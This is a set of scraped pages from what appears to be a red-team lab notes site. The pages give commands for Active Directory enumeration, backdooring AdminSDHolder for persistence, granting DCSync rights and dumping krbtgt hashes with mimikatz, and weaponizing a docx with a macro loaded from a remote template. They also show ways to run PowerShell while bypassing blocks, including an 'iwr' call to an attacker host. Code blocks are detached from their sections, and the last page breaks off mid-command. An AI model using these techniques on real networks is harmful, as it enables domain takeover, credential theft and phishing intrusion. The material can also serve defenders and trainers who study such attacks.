![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLzleS4g0dxZT8fVUSL%252F-LLzkAMHWApp9EX94TzE%252Fpowerview-enumerate-shares.png%3Falt%3Dmedia%26token%3D42f07d44-8096-438f-8f95-ceaae6258883&width=768&dpr=3&quality=100&sign=92fecfb9&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#invoke-userhunter) Invoke-UserHunter ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Find machines on a domain or users on a given machine that are logged on: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLzleS4g0dxZT8fVUSL%252F-LLzlbfMrGPxEcvbX6E1%252Fpowerview-invoke-user-hunter.png%3Falt%3Dmedia%26token%3Dedec5965-02af-43f1-9303-4e0de0bb58c7&width=768&dpr=3&quality=100&sign=f858c567&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#references) References --------------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation FrameworkGitHub](https://github.com/PowerShellMafia/PowerSploit) [PreviousDCSync: Dump Password Hashes from Domain Controller](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync) [NextAbusing Active Directory ACLs/ACEs](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) Last updated 7 years ago * [Get-NetDomain](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netdomain) * [Get-NetForest](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netforest) * [Get-NetForestDomain](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netforestdomain) * [Get-NetDomainController](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netdomaincontroller) * [Get-NetGroupMember](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netgroupmember) * [Get-NetLoggedon](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netloggedon) * [Get-NetDomainTrust](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netdomaintrust) * [Get-NetForestTrust](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netforesttrust) * [Get-NetProcess](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netprocess) * [Invoke-MapDomainTrust](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#invoke-mapdomaintrust) * [Invoke-ShareFinder](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#invoke-sharefinder) * [Invoke-UserHunter](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#invoke-userhunter) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#references) Copy Get-NetProcess -ComputerName dc01 -RemoteUserName offense\administrator -RemotePassword 123456 | ft --- # Backdooring AdminSDHolder for Persistence | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence.md) . [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence#adminsdholder) AdminSDHolder ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- `AdminSDHolder` is a special AD container with some "default" security permissions that is used as a template for protected AD accounts and groups (like Domain Admins, Enterprise Admins, etc.) to prevent their accidental and unintended modifications, and to keep them secure. Once you have agained Domain Admin privileges, `AdminSDHolder` container can be abused by backdooring it by giving your user `GenericAll` privileges, which effectively makes that user a Domain Admin. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence#execution) Execution -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Backdooring the AdminSDHolder container by adding an ACL that provides user `spotless` with `GenericAll` rights for `Domain Admins` group: Copy Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName spotless -Verbose -Rights All ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUCGocALW6UyI5vn1b6%252F-LUCH33S5F2Mo8deODvd%252FScreenshot%2520from%25202018-12-20%252020-21-53.png%3Falt%3Dmedia%26token%3D43c56c5c-aee5-4436-8c77-41ac87d200bf&width=768&dpr=3&quality=100&sign=4ccfba5&sv=2) This is actually what happens to the container - the security ACLs get updated and `spotless` gets all the privileges: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUCGocALW6UyI5vn1b6%252F-LUCHgR3tZqRdzO7-KMb%252FScreenshot%2520from%25202018-12-20%252020-24-32.png%3Falt%3Dmedia%26token%3Dfe82dd08-efeb-4784-9d53-f30dc4f0f6bd&width=768&dpr=3&quality=100&sign=c85d804&sv=2) After 60+ minutes, the changes will propagate automatically, but if you want to force it (if you are testing this in your labs), you can do it via ldp.exe by Modifying DN like so: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUCRUlDbf_7yljXYepZ%252F-LUCRsg63I5lldwtMGTV%252FScreenshot%2520from%25202018-12-20%252021-07-01.png%3Falt%3Dmedia%26token%3D5261ab42-b618-4900-9c4d-76debdeeb353&width=768&dpr=3&quality=100&sign=208afdf1&sv=2) Now, confirming that the user spotless has got `GenericAll` privileges against `Domain Admins` group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUCRUlDbf_7yljXYepZ%252F-LUCRym1OImSYvQseI5Y%252FScreenshot%2520from%25202018-12-20%252021-07-30.png%3Falt%3Dmedia%26token%3De680882c-fee9-4e31-9ae6-a6368c6dc1eb&width=768&dpr=3&quality=100&sign=feec491c&sv=2) We can now hop back to the Domain Admins any time we want to: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUCRUlDbf_7yljXYepZ%252F-LUCSgQPfEQcZZSpJy_E%252FScreenshot%2520from%25202018-12-20%252021-12-38.png%3Falt%3Dmedia%26token%3De7240e28-457d-4b57-9639-7dec95275344&width=768&dpr=3&quality=100&sign=d2457085&sv=2) In fact, we do not even need to be part of DA group, we still have full access to the DC: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUCUFELQoM0HAhtetPn%252F-LUCUBgH4YE568OiowUl%252FScreenshot%2520from%25202018-12-20%252021-19-14.png%3Falt%3Dmedia%26token%3D629aa1b3-df35-4d2e-8ffc-0c485fb1e6d5&width=768&dpr=3&quality=100&sign=f3e04167&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence#references) References ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/www.harmj0y.net](http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Five common questions about AdminSdHolder and SDPropMicrosoftLearn](https://blogs.technet.microsoft.com/askds/2009/05/07/five-common-questions-about-adminsdholder-and-sdprop/) [Sneaky Active Directory Persistence #15: Leverage AdminSDHolder & SDProp to (Re)Gain Domain Admin RightsActive Directory & Azure AD/Entra ID Security](https://adsecurity.org/?p=1906) [Stealthbitsblog.stealthbits.com](https://blog.stealthbits.com/persistence-using-adminsdholder-and-sdprop/) [PreviousBloodHound with Kali Linux: 101](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux) [NextActive Directory Enumeration with AD Module without RSAT or Admin Privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges) Last updated 6 years ago * [AdminSDHolder](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence#adminsdholder) * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence#execution) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence#references) Copy Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} --- # DCSync: Dump Password Hashes from Domain Controller | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync.md) . This lab shows how a misconfigured AD domain object permissions can be abused to dump DC password hashes using the DCSync technique with mimikatz. It is known that the below permissions can be abused to sync credentials from a Domain Controller: > * The “[**DS-Replication-Get-Changes**](https://msdn.microsoft.com/en-us/library/ms684354(v=vs.85).aspx) > ” extended right > > * **CN:** DS-Replication-Get-Changes > > * **GUID:** 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 > > > * The “[**Replicating Directory Changes All**](https://msdn.microsoft.com/en-us/library/ms684355(v=vs.85).aspx) > ” extended right > > * **CN:** DS-Replication-Get-Changes-All > > * **GUID:** 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 > > > * The “[**Replicating Directory Changes In Filtered Set**](https://msdn.microsoft.com/en-us/library/hh338663(v=vs.85).aspx) > ” extended right (this one isn’t always needed but we can add it just in case :) > > * **CN:** DS-Replication-Get-Changes-In-Filtered-Set > > * **GUID:** 89e95b76-444d-4c62-991a-0facbeda640c > > > > [http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/](http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync#execution) Execution ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Inspecting domain's `offense.local` permissions, it can be observed that user `spotless` does not have any special rights just yet: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LYHcIL_R4k6YNEXjoex%252F-LYHcll2Cw7RXzll00Y7%252FScreenshot%2520from%25202019-02-09%252014-18-32.png%3Falt%3Dmedia%26token%3Ddb120148-d85d-4401-b8c8-8808844af82e&width=768&dpr=3&quality=100&sign=8a54e79f&sv=2) Using PowerView, we can grant user `spotless` 3 rights that would allow them to grab password hashes from the DC: Below shows the above command and also proves that spotless does not belong to any privileged group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LYHcIL_R4k6YNEXjoex%252F-LYHcnmhsrPaq84QCCXJ%252FScreenshot%2520from%25202019-02-09%252014-21-02.png%3Falt%3Dmedia%26token%3Dfd127c93-66ab-4d13-b4cc-f61645fbb55e&width=768&dpr=3&quality=100&sign=41d87a98&sv=2) However, inspecting `offense.local` domain object's privileges now, we can see 3 new rights related to `Directory Replication` added: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LYHcIL_R4k6YNEXjoex%252F-LYHcqSVg0P0r8dBLjpC%252FScreenshot%2520from%25202019-02-09%252014-21-09.png%3Falt%3Dmedia%26token%3D0cb494ef-c05f-4b98-9450-9c40d3834c04&width=768&dpr=3&quality=100&sign=2840586a&sv=2) Let's grab the SID of the user spotless with `whoami /all`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LYHcIL_R4k6YNEXjoex%252F-LYHeE3F5dXK_ePCdQJH%252FScreenshot%2520from%25202019-02-09%252014-28-18.png%3Falt%3Dmedia%26token%3D682c2b70-15cf-4243-897d-07a50dcb60ce&width=768&dpr=3&quality=100&sign=a652fec2&sv=2) Using powerview, let's check that the user `spotless` `S-1-5-21-2552734371-813931464-1050690807-1106` has the same privileges as seen above using the GUI: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LYHcIL_R4k6YNEXjoex%252F-LYHeGTSUXeuBes1DUA8%252FScreenshot%2520from%25202019-02-09%252014-27-54.png%3Falt%3Dmedia%26token%3D69793e54-eccd-4592-9c37-dd3953c91345&width=768&dpr=3&quality=100&sign=e4e4236f&sv=2) Additionally, we can achieve the same result without PowerView if we have access to AD Powershell module: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LYHn7bhLyxbOjA7EU9M%252F-LYHo8SqVwHexwGHFRIn%252FScreenshot%2520from%25202019-02-09%252015-11-36.png%3Falt%3Dmedia%26token%3D82b495d7-34fe-41c1-a296-8f802dbb660f&width=768&dpr=3&quality=100&sign=f6b52ff5&sv=2) See [Active Directory Enumeration with AD Module without RSAT or Admin Privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges) to learn how to get AD module without admin privileges. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync#dcsyncing-hashes) DCSyncing Hashes Since the user `spotless` has now the required privileges to use `DCSync`, we can use mimikatz to dump password hashes from the DC via: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LYHcIL_R4k6YNEXjoex%252F-LYHfiPA13UOQiYsWHVT%252FScreenshot%2520from%25202019-02-09%252014-34-44.png%3Falt%3Dmedia%26token%3D1b755cd8-e2d9-45e4-9b25-72f58955065c&width=768&dpr=3&quality=100&sign=d9f695b6&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync#references) References --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/www.harmj0y.net](http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fcdn.sanity.io%2Fimages%2Fr09655ln%2Fproduction%2Fb964f02a6b0bac832fa24aebac276c3613011af0-64x64.png&width=20&dpr=3&quality=100&sign=6fe59ef5&sv=2)Stealing User Passwords with Mimikatz DCSyncNetwrix](https://blog.stealthbits.com/extracting-user-password-data-with-mimikatz-dcsync/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afill%3A304%3A304%2F10fd5c419ac61637245384e7099e131627900034828f4f386bdaa47a74eae156&width=20&dpr=3&quality=100&sign=6336508b&sv=2)Syncing Into the ShadowsMedium](https://medium.com/@jsecurity101/syncing-into-the-shadows-bbd656dd14c8) [PreviousDCShadow - Becoming a Rogue Domain Controller](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow) [NextPowerView: Active Directory Enumeration](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview) Last updated 6 years ago * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync#execution) * [DCSyncing Hashes](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync#dcsyncing-hashes) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync#references) attacker@victim Copy Add-ObjectACL -PrincipalIdentity spotless -Rights DCSync attacker@kali Copy Get-ObjectAcl -Identity "dc=offense,dc=local" -ResolveGUIDs | ? {$_.SecurityIdentifier -match "S-1-5-21-2552734371-813931464-1050690807-1106"} attacker@victim Copy Import-Module ActiveDirectory (Get-Acl "ad:\dc=offense,dc=local").Access | ? {$_.IdentityReference -match 'spotless' -and ($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "89e95b76-444d-4c62-991a-0facbeda640c" ) } attacker@victim Copy lsadump::dcsync /user:krbtgt --- # Inject Macros from a Remote Dotm Template | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros.md) . This lab shows how it is possible to add a macros payload to a docx file indirectly, which has a good chance of evading some AVs/EDRs. This technique works in the following way: 1. A malicious macro is saved in a Word template .dotm file 2. Benign .docx file is created based on one of the default MS Word Document templates 3. Document from step 2 is saved as .docx 4. Document from step 3 is renamed to .zip 5. Document from step 4 gets unzipped 6. .\\word\_rels\\settings.xml.rels contains a reference to the template file. That reference gets replaced with a refernce to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb). 7. File gets zipped back up again and renamed to .docx 8. Done [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros#weaponization) Weaponization ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Alt+F8 to enter Dev mode where we can edit Macros, select `ThisDocument` and paste in: Doc3.dotm Copy Sub Document_Open() Set objShell = CreateObject("Wscript.Shell") objShell.Run "calc" End Sub ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaHnzr-8OdMCMkKoxCZ%252F-LaHsr9Df6zSyClDXreO%252FScreenshot%2520from%25202019-03-18%252022-19-22.png%3Falt%3Dmedia%26token%3D98d42351-6a8b-491c-b546-fe91e836aa73&width=768&dpr=3&quality=100&sign=41a08c12&sv=2) Create a benign .docx file based on one of the provided templates and save it as .docx: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaHnzr-8OdMCMkKoxCZ%252F-LaHtw6A6pSqS8yRT_4D%252FScreenshot%2520from%25202019-03-18%252022-24-02.png%3Falt%3Dmedia%26token%3D665364a6-2fdc-4cc4-b250-bf1e6fa42dc9&width=768&dpr=3&quality=100&sign=3e5d68c&sv=2) Rename legit.docx to legit.zip: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaHnzr-8OdMCMkKoxCZ%252F-LaHuXVOCz0pu04UlGl4%252FScreenshot%2520from%25202019-03-18%252022-26-41.png%3Falt%3Dmedia%26token%3Dba84aa9d-b09e-42d9-b5cf-bea99fbd67bb&width=768&dpr=3&quality=100&sign=ce3c44b4&sv=2) Unzip the archive and edit `word_rels\settings.xml.rels`: Note it has the target template specified here: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaHnzr-8OdMCMkKoxCZ%252F-LaHwmHfhmC9WmqXqAi0%252FScreenshot%2520from%25202019-03-18%252022-36-30.png%3Falt%3Dmedia%26token%3Da0e41d01-5236-4d3a-b083-628573a7e503&width=768&dpr=3&quality=100&sign=f5c2e677&sv=2) Upload the template created previously `Doc3.dot` to an SMB server (note that the file could be hosted on a web server also!). Update word\_rels\\settings.xml.rels to point to Doc3.dotm: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaHynbPhOsV7F3bWjyN%252F-LaI0x6LlzkBHXCcae2k%252FScreenshot%2520from%25202019-03-18%252022-59-07.png%3Falt%3Dmedia%26token%3Dcbbe14b9-8a58-4788-b133-69c018ef7394&width=768&dpr=3&quality=100&sign=137d005c&sv=2) Zip all the files of `legit` archive and name it back to .docx - we now have a weaponized document: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaHynbPhOsV7F3bWjyN%252F-LaI2n9iw2zGOJSlqKFI%252FPeek%25202019-03-18%252023-07.gif%3Falt%3Dmedia%26token%3D5d33d4e9-e532-4879-a787-9ecfaf40ab75&width=768&dpr=3&quality=100&sign=68335d91&sv=2) Note that this technique could be used to steal NetNTLMv2 hashes since the target system is connecting to the attacking system - a responder can be listening there. [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fblog.redxorblue.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=bd520785&sv=2)Executing Macros From a DOCX With Remote Template Injectionblog.redxorblue.com](http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html) [PreviousPhishing: Replacing Embedded Video with Bogus Payload](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload) [NextBypassing Parent Child / Ancestry Detections](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships) Last updated 7 years ago * [Weaponization](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros#weaponization) * [References](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros#references) word\_rels\\settings.xml.rels Copy --- # Powershell Without Powershell.exe | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/powershell-without-powershell.md) . Powershell.exe is just a process hosting the System.Management.Automation.dll which essentially is the actual Powershell as we know it. If you run into a situation where powershell.exe is blocked and no strict application whitelisting is implemented, there are ways to execute powershell still. [](https://www.ired.team/offensive-security/code-execution/powershell-without-powershell#powershdll) PowerShdll -------------------------------------------------------------------------------------------------------------------- Copy rundll32.exe PowerShdll.dll,main ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNRJr4AeZOtVq419iAs%252F-LNRMcAXSnwHu0cxgDPL%252Fpwshll-rundll32.gif%3Falt%3Dmedia%26token%3D90b69da6-c3f5-473a-9ae1-b2da202cc7dc&width=768&dpr=3&quality=100&sign=44fc3f7c&sv=2) Note that the same could be achieved with a compiled .exe binary from the same project, but keep in mind that .exe is more likely to run into whitelisting issues. [](https://www.ired.team/offensive-security/code-execution/powershell-without-powershell#syncappvpublishingserver) SyncAppvPublishingServer ------------------------------------------------------------------------------------------------------------------------------------------------ Windows 10 comes with `SyncAppvPublishingServer.exe and` `SyncAppvPublishingServer.vbs` that can be abused with code injection to execute powershell commands from a Microsoft signed script: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNRPqoa4COCgumw-vow%252F-LNRQKQsd_KHdf5A6Hot%252Fpwshll-SyncAppvPublishingServer.png%3Falt%3Dmedia%26token%3D14e48521-4437-4668-9369-6cfd4401ba59&width=768&dpr=3&quality=100&sign=f21fc652&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNRPqoa4COCgumw-vow%252F-LNRQDdZnD2PCs4fPPCL%252Fpwshll-SyncAppvPublishingServer.gif%3Falt%3Dmedia%26token%3D7da17423-04e1-4f53-9391-049dda3d783d&width=768&dpr=3&quality=100&sign=23945fd8&sv=2) [](https://www.ired.team/offensive-security/code-execution/powershell-without-powershell#references) References -------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - p3nt4/PowerShdll: Run PowerShell with rundll32. Bypass software restrictions.GitHub](https://github.com/p3nt4/PowerShdll) [PowerShell: How Malware Uses It Without PowerShell.exe | SAFE CyberdefenseSAFE Cyberdefense](https://safe-cyberdefense.com/malware-can-use-powershell-without-powershell-exe/) [PreviousApplication Whitelisting Bypass with WMIC and XSL](https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl) [NextPowershell Constrained Language Mode Bypass](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass) Last updated 7 years ago * [PowerShdll](https://www.ired.team/offensive-security/code-execution/powershell-without-powershell#powershdll) * [SyncAppvPublishingServer](https://www.ired.team/offensive-security/code-execution/powershell-without-powershell#syncappvpublishingserver) * [References](https://www.ired.team/offensive-security/code-execution/powershell-without-powershell#references) Copy SyncAppvPublishingServer.vbs "Break; iwr http://10.0.0.5:443" --- # Pass the Hash with Machine$ Accounts | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts.md) . This lab looks at leveraging machine account NTLM password hashes or more specifically - how they can be used in pass the hash attacks to gain additional privileges, depending on which groups the machine is a member of (ideally administrators/domain administrators). This labs is based on an assumption that you have gained local administrator privileges on a workstation (machine), let's call it `WS01$`. Since you have done your AD enumeration, you notice that the WS01$ is a member of `Domain Admins` group - congratulations, you are one step away from escalating from local admin to Domain Admin and a full domain compromise. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts#execution) Execution ----------------------------------------------------------------------------------------------------------------------------------------------------- Finding domain computers that are members of interesting groups: attacker@victim Copy Get-ADComputer 